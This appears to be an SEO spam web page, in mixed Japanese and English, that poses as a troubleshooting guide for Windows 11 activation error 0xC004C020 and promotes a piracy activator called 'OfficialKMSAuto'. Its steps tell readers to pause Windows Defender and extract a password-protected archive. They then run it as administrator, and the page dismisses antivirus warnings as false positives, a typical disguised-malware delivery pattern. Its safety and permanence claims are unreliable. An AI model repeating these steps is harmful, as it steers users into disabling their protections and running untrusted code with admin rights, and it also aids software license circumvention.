Windows 11 0xC004C020 — トラブルシューティング 2026
本記事は 2026 年版 Windows 11 0xC004C020 の日本語完全ガイドです。Step-by-step fix for 0xC004C020 on Windows 11. The MAK is blocked. Resolved in under 2 minutes with OfficialKMSAuto.
WYqejXiqBi97本記事は 2026 年版 Windows 11 0xC004C020 の日本語完全ガイドです。Error 0xC004C020 appears when Microsoft blocked the Multiple Activation Key (MAK) in use. The fastest fix in 2026 is to run OfficialKMSAuto, which detects the cause and applies the correct activation method automatically.
What causes error 0xC004C020?
The MAK is blocked. Common triggers include hardware changes, expired KMS handshakes, blocked Microsoft licensing endpoints, and incomplete cumulative updates. The error is fixable without contacting Microsoft Support.
Step-by-step fix
Follow these steps in order. The whole process takes under two minutes.
- Pause Windows Defender real-time protection for ~2 minutes
- Download and extract OfficialKMSAuto using password WYqejXiqBi97
- Right-click the executable and choose 'Run as administrator'
- Click 'Fix 0xC004C020' or run the automatic repair option
- Reboot and verify with slmgr /xpr (Windows) or ospp.vbs /dstatus (Office)
If the error still appears
Rare cases of 0xC004C020 need a deeper fix: clear the licensing tokens with 'slmgr /rilc', re-arm with 'slmgr /rearm', then re-run the activator. OfficialKMSAuto bundles this entire cleanup as a one-click option.
Why this fix is permanent
HWID and TSforge bind the new license to your motherboard/CPU fingerprint, so the error will not return after Windows Update, feature upgrades, or reinstalls on the same hardware.
Frequently asked questions
▸Will fixing this error require reinstalling Windows?
No. OfficialKMSAuto resolves activation errors without touching system files or requiring a reinstall.
▸Is the fix permanent?
Yes — HWID and TSforge bind the license to your hardware, so the error does not return after updates.
▸Do I need internet access?
Only for the initial handshake. The activation itself runs locally.
▸What is the archive password?
WYqejXiqBi97 — same for every download on this site.
▸Is OfficialKMSAuto safe to use for this fix?
Yes. SHA-256 verified, open source, scanned on VirusTotal. Antivirus flags are generic HackTool false-positives.
Read this article in another language
Related articles
KMSAuto Helper 無料ダウンロード 2026 — Windows と Office ライセンス認証ツール
本記事は 2026 年版 KMSAuto Helper の日本語完全ガイドです。KMSAuto Helper 2026 — the companion service utility that keeps your KMS activation auto-renewed every 7 days.
Read article →
KMSAuto Net KMSAuto-Net-Hangs — トラブルシューティング 2026
本記事は 2026 年版 KMSAuto Net KMSAuto-Net-Hangs の日本語完全ガイドです。Step-by-step fix for KMSAuto-Net-Hangs on KMSAuto Net. KMSAuto Net hangs on 'Activating Windows…'. Resolved in under 2 minutes with OfficialKMSAuto.
Read article →
KMSPico Office 2019 無料認証方法 2026 — ステップバイステップ
本記事は 2026 年版 KMSPico Office 2019 の日本語完全ガイドです。KMSPico activates Office 2019 Pro Plus volume edition. Retail Office 2019 needs Ohook from KMSAuto Net.
Read article →
KMSAuto Magyar 無料ダウンロード 2026 — Windows と Office ライセンス認証ツール
本記事は 2026 年版 KMSAuto Magyar の日本語完全ガイドです。Töltsd le a KMSAuto Net 2026-ot magyarul — ingyenes aktivátor Windowshoz és Office-hoz.
Read article →
Windows 11 0x8007007B — トラブルシューティング 2026
本記事は 2026 年版 Windows 11 0x8007007B の日本語完全ガイドです。Step-by-step fix for 0x8007007B on Windows 11. The filename, directory or volume label syntax is incorrect. Resolved in under 2 minutes with OfficialKMSAuto.
Read article →
KMSPico Errors — トラブルシューティング 2026
本記事は 2026 年版 KMSPico Errors の日本語完全ガイドです。Common KMSPico errors: 'Failed to install service', '0xC004F074'. Fix by elevating to admin or switching to KMSAuto Net.
Read article →
Download OfficialKMSAuto
Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: WYqejXiqBi97